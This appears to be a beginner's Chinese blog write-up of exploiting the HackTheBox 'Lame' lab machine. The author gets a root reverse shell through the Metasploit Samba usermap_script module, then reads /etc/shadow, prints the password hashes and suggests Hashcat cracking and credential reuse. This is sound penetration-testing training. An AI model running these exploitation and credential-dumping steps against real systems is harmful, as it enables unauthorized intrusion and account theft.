iT邦幫忙

2026 iThome 鐵人賽

DAY 5
0
Security

《朝 HTB CPTS 前進:資安新手的 30 天實作筆記》系列 第 5

Day 5 — 從版本號到 Shell:第一次用 Metasploit 拿下目標

  • 分享至 

  • xImage
  •  

今天來到了 Lame 實戰的第三天~~~

Day 3 我們用 Nmap,知道目標機器 Lame 開了哪些服務,以及各個服務的版本號。Day 4 我們對 FTP 跟 SMB 做進一步列舉——FTP 匿名登入是空的、翻了 SMB 的 tmp Share 也只有一些系統暫存檔,沒有直接找到帳密、敏感資訊或是其他對我們有用的資料。

不過在 Day 4 做 enum4linux-ng 列舉 SMB 的詳細資訊時,像是 SMB OS 資訊、使用者資訊、Group 資訊等,倒是拿到了一份不錯的情資——35 個使用者帳號的清單

而且還看到:

Lockout threshold: None

看到這裡我第一個反應就是:

「蛤?所以登入錯很多次,也不會被鎖嗎?!」

萬歲~XD

目標機器 Lame 目前竟然沒有設定「登入失敗幾次後鎖定帳號」的門檻耶~~~

所以這 35 個帳號,後續就有機會成為我們驗證帳密的線索囉(?)

如果之後真的要走帳密這條線,我就會開始思考:

「這些帳號中,有沒有使用弱密碼?」

「如果其中某個帳號成功登入,我能拿到什麼權限?」

「如果剛好拿到的是高權限帳號......太美好惹 xddd」

不過仔細想想,就算目前沒有帳號鎖定的問題,密碼噴灑還是會留下登入失敗紀錄 QQ

畢竟每個帳號就算只試一次,35 個帳號就是 35 筆登入失敗的 Log~~~

如果這些嘗試都是從同一個來源 IP:

「35 個帳號都是同一個 IP 在嘗試登入???」

非常可疑ㄟ!!!

好難不被懷疑 QQ

這種大量、短時間的登入失敗,還是有可能被監控系統注意到。
所以仔細想想,沒有帳號鎖定 ≠ 沒有風險 xddd

那既然手上已經有服務版本號了,
不如先來看看這些版本有沒有已知漏洞!
如果剛好有符合條件的漏洞可以利用,就不用先從猜密碼開始。這樣比猜密碼更直接、也更不容易留下可疑痕跡

所以今天我決定先走:

版本號 → 查已知漏洞 → 驗證能不能利用

如果這條路走不通,再回頭考慮密碼噴灑這條線。


預計今天的兩個任務

  • Vulnerability Assessment:查版本號有沒有已知弱點
  • Exploitation:如果找到可以利用的弱點,實際動手驗證

這是我們在 Day 3 掃 Lame 時拿到的服務+版本號

21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1
139/tcp  open  netbios-ssn Samba smbd 3.X
445/tcp  open  netbios-ssn Samba smbd 3.0.20
3632/tcp open  distccd     distccd v1 (GNU) 4.2.4

拿到服務的版本號,怎麼查他有沒有已知漏洞

(不知道大家跟我有沒有遇到同樣的疑問)

手上已經拿到目標機器有開的服務的版本號了,卻不知道如何看他有沒有問題有沒有已知漏洞?

這時候我們可以請出 searchsploit

它可以幫我們搜尋 Exploit-DB 裡整理的公開 exploit。

那可能會有人跟我一樣 心理OS:

「Exploit-DB 是什麼?」

「為什麼 searchsploit 查一下,就可以知道這個版本有沒有漏洞?」

我們先來一起看看!!!

Exploit-DB 是什麼?

Exploit-DB(Exploit Database)可以把它想成一個公開的漏洞與 Exploit 資料庫。

裡面收錄了很多公開的漏洞利用程式(Exploit),也會包含:

  • 對應的軟體/服務
  • 版本資訊
  • 漏洞或 Exploit 的名稱
  • Exploit-DB 編號
  • Exploit 程式碼或相關資訊

所以當我們今天 Nmap 掃到:

21/tcp open  ftp  vsftpd 2.3.4

這時候就可以拿這個服務名稱+版本號去 Exploit-DB 裡找:

「有沒有針對這個版本的公開 Exploit?」

searchsploit 就是讓我們可以在終端機裡,更方便地搜尋 Exploit-DB 資料~


那知道服務的版本~怎麼一路闖關取得shell?

Nmap
掃到服務+版本
        ↓
   Searchsploit
「有沒有公開 Exploit?」
        ↓
    ┌───┴───┐
   有       沒有
    ↓         ↓
看 Exploit   看有沒有其他線索/服務
Source Code       ↓
+利用條件     ┌──┴──┐
    ↓         有     沒有
確認漏洞怎麼   ↓        ↓
被利用      回到      手動研究/
    ↓       Searchsploit  測試
Metasploit
有沒有
現成 Module?
    ↓
 ┌──┴──┐
有     沒有
↓        ↓
用      回頭研究
Module   原本的
↓        Exploit Script
進一步      ↓
驗證      手動利用
  \        /
   \      /
    ↓    ↓
   成功取得 Shell

這就是我想養成的思路模式~~~

希望透過一開始釐清好思路,拿到版本號,不會有匆忙亂試工具的窘境~~

而是先確認:

「這個版本有沒有已知的東西可以利用?」

「如果有,它的利用條件是什麼?」

「有沒有現成的工具可以幫我驗證?」

接下來就從第一步開始。


那我們馬上來看看目標機器上的三個較有機會利用的服務的版本 是否存在已知漏洞~~~

這是今天在LAME機器拿到的target ip: 10.129.71.189
https://ithelp.ithome.com.tw/upload/images/20260919/20184189xaps7PtPGW.png

第一步:先問「這個版本有沒有公開的已知漏洞利用腳本」

用 searchsploit 搜尋服務名稱,如果知道版本號,也可以一起帶上,讓找到的 Exploit 更精準。

searchsploit vsftpd 2.3.4

https://ithelp.ithome.com.tw/upload/images/20260919/20184189ULa5A0B9Gy.png

searchsploit samba 3.0.20

https://ithelp.ithome.com.tw/upload/images/20260919/20184189XYjQhWAZ2H.png

searchsploit distcc

https://ithelp.ithome.com.tw/upload/images/20260919/20184189IElDwQMlnu.png

Exploit Title 欄位:可以看到 Exploit 的名稱、類型和簡單說明。
Remote 代表可以從網路上直接利用、Local 代表需要先在目標機器上取得某些存取權限才能利用、DoS 則是讓服務無法正常運作。

Path 欄位:對應的 Exploit 檔案路徑,之後可以搭配 searchsploit -x 查看 Exploit 的內容。

這一步主要只是確認:

「有沒有公開的 Exploit 可以參考?」

有結果,就繼續往下看它的利用條件跟原理;
沒有結果也不代表服務安全,只能代表目前在 Exploit-DB 裡沒有找到對應的公開 Exploit 而已 QQ


第二步:有結果,先搞清楚這個漏洞在說什麼

先看清楚這個漏洞的成因跟觸發條件:

searchsploit -x [Path欄位的路徑]

-x 是 examine 的意思,打開這個 exploit 的原始碼讓我們看
[Path欄位的路徑] 就是第一步搜尋結果「右欄」顯示的那個路徑

會出現該漏洞的原始說明(如下圖),可以按:q
https://ithelp.ithome.com.tw/upload/images/20260919/20184189MrYniSY9C0.png

:q,會回來這畫面,可透過畫面中的Path,連至該漏洞的Exploit-DB,看他的PoC,了解這PoC的程式碼,確認他是否符合自己的需求跟是否可以拿來運用在目標機器

searchsploit -x unix/remote/17491.rb
https://ithelp.ithome.com.tw/upload/images/20260919/20184189GM96KUm04w.png

searchsploit -x unix/remote/16320.rb
https://ithelp.ithome.com.tw/upload/images/20260919/201841891LGxkJMK9D.png

searchsploit -x multiple/remote/9915.rb
https://ithelp.ithome.com.tw/upload/images/20260919/201841894mkqmDYGq6.png

這個指令會把 exploit 的原始說明直接印出來,裡面通常會寫:版本範圍是哪些、需要什麼設定才能觸發、以及漏洞的成因。

也可以直接去 exploit-db.com 搜尋 CVE 編號,網頁版易讀超級多(推推~~~

為什麼這步很重要?

因為 searchsploit 給我們的只是「這個版本號理論上有這個漏洞」,但實際上漏洞成不成立,還要看目標的環境跟設定。版本號符合不等於漏洞一定存在。 如果沒有確認前提條件就直接跑 exploit,失敗了我們也不知道是工具問題還是在目標環境下根本無法觸發這個漏洞。


第三步:看 Metasploit 有沒有現成模組

確認這個漏洞的條件成立之後,去 Metasploit 裡找有沒有對應的模組:

step 1 啟動 Metasploit,等出現 msf6 > 提示字元就可以下指令了

msfconsole

step 2 查看各有已知漏洞腳本的目標機器有開服務,是否在Metasploit有現成模組

在 Metasploit 裡搜尋有沒有 vsftp 2.3.4 的現成攻擊模組

search vdftp 2.3.4

https://ithelp.ithome.com.tw/upload/images/20260919/20184189Gw843VJ4VV.png

在 Metasploit 裡搜尋有沒有 smdb 的現成攻擊模組

search smbd

https://ithelp.ithome.com.tw/upload/images/20260919/20184189Irt6IMJAl0.png

在 Metasploit 裡搜尋有沒有 distccd 的現成攻擊模組

search distccd

https://ithelp.ithome.com.tw/upload/images/20260919/20184189BQXcmcvsm8.png

這一步跟第一步問的是不同的問題!!!

可以把它想成:

Step 1: 知道「有這個漏洞,而且有人寫過利用程式」。

Step 3: 確認「這個利用方式,有沒有被 Metasploit 整理成現成 Module」。

所以這兩步驟雖然看起來很像,但其實是在確認不同的事情!!!

Searchsploit 有找到,不代表 Metasploit 一定有對應的 Module。

如果剛好有,直接用 Metasploit 會方便很多!

因為 Module 已經把 Exploit、Payload 等相關設定整合好了,
我們通常只需要設定幾個必要參數,就可以開始驗證漏洞了耶~~~

超便利!!! XD

但如果 Metasploit 沒有現成 Module,也不是代表這個漏洞不能利用!!!

這時候就要:

回頭研究原本找到的 Exploit Script,自己搞懂它怎麼用 QQ

這通常就會比直接用 Metasploit 多一些工作 QQ

而今天我們找到的這幾個漏洞:

  • vsftpd
  • Samba
  • distccd

在 Metasploit 裡剛好都有現成的 Module

所以今天可以直接用 Metasploit 來驗證看看~

超讚!!!


第四步:去 NVD 確認完整細節

第二步我們是直接從 Exploit 原始碼看「它是怎麼被觸發的」,

這一步則換個角度:

「官方是怎麼描述這個漏洞的?」

NVD 是由 NIST(美國國家標準暨技術研究院)維護的 National Vulnerability Database,可以用來查 CVE 的詳細資訊~

前面幾步,我們已經大概確認:

  • 這個版本有沒有公開的 Exploit
  • Exploit 大概是怎麼被利用的
  • 有沒有現成的 Metasploit Module
  • 以及這個漏洞對應的 CVE 編號

現在就來 NVD 看看這個 CVE 的完整資訊~

我們可以從 NVD 看到像是:

  • 受影響的版本範圍
  • 漏洞描述
  • CVSS 分數
  • 相關修補資訊

當然,CVSS 也會稍微看一下><

畢竟它可以幫助我們理解這個漏洞的嚴重程度與影響

不過對今天的實戰來說,我現在最在意的還是:

「我的目標到底符合這個漏洞的利用條件嗎?」

因為漏洞就算看起來很嚴重,

如果目標機器不符合觸發條件,還是沒辦法利用 QQ

所以接下來,就先來看看我們找到的每個漏洞:

到底要符合什麼條件,才有辦法被觸發?

先確認能不能成功觸發,再來談這個漏洞到底有多棒xdd

vsftp 2.3.4 的相關腳本CVE-2011-2523:
https://ithelp.ithome.com.tw/upload/images/20260919/20184189qlZeUz9mcs.png
這個cve接露的漏洞蠻特別的~~~他並不是指「vsftpd 2.3.4 這個版本全部都有後門」,而是 2011/06/30~2011/07/03 期間下載的特定 vsftpd 2.3.4 原始碼(他們的壓縮檔遭到竄改 被植入後門

samba 3.0.20的相關腳本CVE-2007-2447:
https://ithelp.ithome.com.tw/upload/images/20260919/20184189W3stUOfvj2.png
觸發前提: Samba 版本在 3.0.0~3.0.25rc3 之間,而且 smb.conf 有設定 username map script

distcc 的相關腳本CVE-2004-2687:
https://ithelp.ithome.com.tw/upload/images/20260919/2018418905cg1r24WB.png
觸發前提: distccd沒有做好來源IP的存取控制,攻擊者可以假裝自己是來幫忙編譯的機器,傳入惡意指令讓目標機器執行


不知道大家跟我有沒有同樣疑問~~~為什麼不直接去Metasploit搜就好?

因為searchsploit的範圍更廣——它收錄了所有Exploit-DB上的公開漏洞的利用腳本,不管有沒有被整合進Metasploit><
先用searchsploit確認有沒有已知漏洞利用腳本,再去Metasploit看有沒有現成模組可以用,這樣不會漏掉任何可能性!!!

如果 Metasploit 真的沒有現成 module,就要回去看 searchsploit 找到的 exploit 原始碼——有些是可以直接跑的 Python 腳本,有些只是概念驗證(PoC),需要自己改才能用。對新手來說,比從零開始寫攻擊腳本還是容易很多 xdd


今天的實戰順序

雖然 FTP、SMB 跟 distccd 都有 Metasploit 的腳本,但我決定先從 SMB 開始~

因為~~~我們昨天在 SMB 花了最多時間,enum4linux-ng 也給了我們很多資訊——包含版本、使用者、一些設定等等,我們對這個服務算是比較有底惹 XD

FTP 昨天雖然成功匿名登入,也知道版本號,但進去後目錄是空的,手上的線索相對比較少QQ

所以今天第一次真的要開始嘗試利用漏洞,我決定:

先從目前掌握資訊最多、最熟悉的服務開始!!!

畢竟是第一次實戰攻擊嘛~~
先從自己比較有把握的線索下手,至少比較能隨時根據目標機器的回應資訊做理解與應變~~~


開始實戰囉~~~

step 1 輸入msfconsole會出現一大堆文字跟圖形,待跑完會出現以[msf]開頭的可自己下指令的地方

msfconsole

https://ithelp.ithome.com.tw/upload/images/20260919/20184189c7xz020Xlr.png

Metasploit裡的module,就是別人已經把「怎麼利用這個漏洞」寫成程式碼放進去了。我們不用自己研究漏洞怎麼觸發、不用自己寫程式,只需要設定目標IP跟我們自己的IP,讓這個module幫我們執行攻擊。

step 2 輸入search CVE-2007-2447,去Metasploit搜,看有沒有CVE-2007-2447的現成module

search CVE-2007-2447

https://ithelp.ithome.com.tw/upload/images/20260919/2018418932XiHpTV83.png

step 3 找到module後,用use 0選他,0是我們現在選的module,會依大家想選的module不同而異(參考想選的module的#欄位的值)
https://ithelp.ithome.com.tw/upload/images/20260919/20184189v6c3MxqK9d.png

step 4 用options,檢視該module的當前設定與檢視需要設定的地方

https://ithelp.ithome.com.tw/upload/images/20260919/201841894rjRYVdprm.png
https://ithelp.ithome.com.tw/upload/images/20260919/201841892P9hH8WeTr.png

step 5 輸入set RHOSTS 10.129.71.189,RHOSTS是Remote Host,就是我們要攻擊的目標 IP,這一步驟是要設定我們的目標ip
https://ithelp.ithome.com.tw/upload/images/20260919/201841898N2X37f3Xy.png

step 6 輸入run,執行攻擊
https://ithelp.ithome.com.tw/upload/images/20260919/20184189EK2bEtUxE0.png

喔不~~~出現

Started reverse TCP handler on 152.44.45.36:4444 Exploit completed, but no session was created

(我們趕快向AI求助!!!)

原來LHOST設到公網IP去了,但Lame連回來走的是HTB的VPN通道,要用VPN的IP才收得到連線。

用ip a找到tun0的IP,重新set LHOST再跑一次。

tun0是我們連上HTB VPN之後,系統自動建立的一張虛擬網路卡~

我們的電腦有實體網路卡(eth0或wlan0),連著我們家的網路。連上HTB VPN之後,系統會多建立一張虛擬的網路卡叫tun0,它的IP是HTB VPN分配給我們的內網IP,通常是10.10.x.x。

白話來說~~~
我們大家的家門牌號碼(本機IP)是一個地址,公司的地址(公網IP)是另一個,但今天我們要去的是一個封閉園區(HTB的VPN環境),進園區之後我們會拿到一張園區內部通行證(tun0的IP)。
Lame也在這個封閉園區裡,它只能用園區內部通行證上的地址找到我們,用外面的門牌號碼它可是找不到的!!!

step 7 輸入ip a show tun0 ->找tun 0的ip
https://ithelp.ithome.com.tw/upload/images/20260919/20184189n2ffNxmoSk.png

拿到了,我們的tun0 IP是10.10.15.205

step 8 輸入set LHOST 10.10.15.205,設定 LHOST,LHOST是Local/Listen Host,就是「目標機器要連回來的 IP」
https://ithelp.ithome.com.tw/upload/images/20260919/20184189Ti90VRr93v.png

step 9 輸入run,再次執行攻擊
https://ithelp.ithome.com.tw/upload/images/20260919/20184189HHVdRimwq3.png
貌似成功了

step 10 拿到shell之後第一件事,拿到 shell 之後第一件事——確認身份:輸入whoami問系統「我現在是誰」
https://ithelp.ithome.com.tw/upload/images/20260919/20184189KpAlB1IA13.png
系統回我:root~~直接是最高權限!!!不需要額外提權,這台機器就這樣拿下來了耶

step 11 看看系統資訊:輸入uname -a:顯示 Linux kernel版本,如果拿到的不是 root,可以拿這個版本號去查有沒有kernel提權漏洞(不過我們現在已經拿到root,就不需要再提權,只是一起熟悉指令><
https://ithelp.ithome.com.tw/upload/images/20260919/20184189guuIkA0pKZ.png

step 12 輸入id:知道我的所屬群組
https://ithelp.ithome.com.tw/upload/images/20260919/201841899FzNKcBSIN.png

step 13 輸入cat /etc/passwd:列出所有本機使用者,確認跟Day 4 enum4linux-ng撈到的帳號清單是否一致
https://ithelp.ithome.com.tw/upload/images/20260919/20184189peR0eyQgjL.png
https://ithelp.ithome.com.tw/upload/images/20260919/20184189QKuvT6bILJ.png
https://ithelp.ithome.com.tw/upload/images/20260919/20184189SzB13a4Tc9.png

step 14 既然已經是root,順手看一下cat /etc/shadow——這個檔案平常只有root才能讀,裡面存著所有帳號的密碼雜湊值呢~
https://ithelp.ithome.com.tw/upload/images/20260919/20184189NwHRJko3VC.png
詳細結果如下~~~

root:$1$p/d3CvVJ$4HDjev4SJFo7VMwL2Zg6P0:17239:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$NsRwcGHl$euHtoVjd59CxMcIasiTw/.:17239:0:99999:7:::
sync:*:14684:0:99999:7:::
games:*:14684:0:99999:7:::
man:*:14684:0:99999:7:::
lp:*:14684:0:99999:7:::
mail:*:14684:0:99999:7:::
news:*:14684:0:99999:7:::
uucp:*:14684:0:99999:7:::
proxy:*:14684:0:99999:7:::
www-data:*:14684:0:99999:7:::
backup:*:14684:0:99999:7:::
list:*:14684:0:99999:7:::
irc:*:14684:0:99999:7:::
gnats:*:14684:0:99999:7:::
nobody:*:14684:0:99999:7:::
libuuid:!:14684:0:99999:7:::
dhcp:*:14684:0:99999:7:::
syslog:*:14684:0:99999:7:::
klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:14742:0:99999:7:::
sshd:*:14684:0:99999:7:::
bind:*:14685:0:99999:7:::
postfix:*:14685:0:99999:7:::
ftp:*:14685:0:99999:7:::
postgres:$1$dwLrUikz$LRJRShCPfPyYb3r6pinyM.:17239:0:99999:7:::
mysql:!:14685:0:99999:7:::
tomcat55:*:14691:0:99999:7:::
distccd:*:14698:0:99999:7:::
service:$1$cwdqim5m$bw71JTFHNWLjDTmYTNN9j/:17239:0:99999:7:::
telnetd:*:14715:0:99999:7:::
proftpd:!:14727:0:99999:7:::
statd:*:15474:0:99999:7:::
snmp:*:15480:0:99999:7:::
makis:$1$Yp7BAV10$7yHWur1KMMwK5b8KRZ2yK.:17239:0:99999:7:::

把需要的 hash 留下來,之後可以用 Hashcat 嘗試進行離線破解。

就算這次在 Lame 上暫時用不到,假設成功還原出明文密碼,還是可以進一步確認這組帳密是否被重複使用在其他服務或帳號上。

畢竟現實世界裡……

很多人真的會不同地方都用同一組密碼 XD

所以拿到一組 Credential 後,重點不只是:

「這組帳密現在能不能登入這台機器?」

還可以繼續想:

「這組 Credential 還能不能在其他地方使用?」

所以拿到一組 Credential 後,不要只看眼前這台機器,搞不好其他地方也能用上><

一魚多吃!!! 🐟🍴


今天覺得我們很棒的地方

有線索,就先走線索最明確的路~

密碼噴灑不是不行,但比起利用已知漏洞,會更花時間,也更容易留下可疑的登入紀錄!

所以既然已經知道機器開了哪些服務、版本號也有了,甚至還有已知漏洞可以驗證,那就沒必要先去猜密碼了><

而且最後真的用不到密碼噴灑耶!!! 我們成功透過Samba的已知漏洞就拿到Shell哩!

明天Day 6,我們一起把Day3開始到今天的發現與漏洞利用過程,整理成報告(CPTS考試的一大重點呀!!!

養成好習慣!!!今天的最後來把相關資訊記錄到SysReptor

我們明天見~~~


上一篇
Day 4 — 掃到服務之後,我怎麼決定先挖哪個
下一篇
Day 6 — 從打靶到 Report:第一次用 SysReptor 寫滲透測試報告
系列文
《朝 HTB CPTS 前進:資安新手的 30 天實作筆記》9
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

1 則留言

1
waason
iT邦新手 5 級 ‧ 2026-09-19 18:03:50

很仔細呢!

我要留言

立即登入留言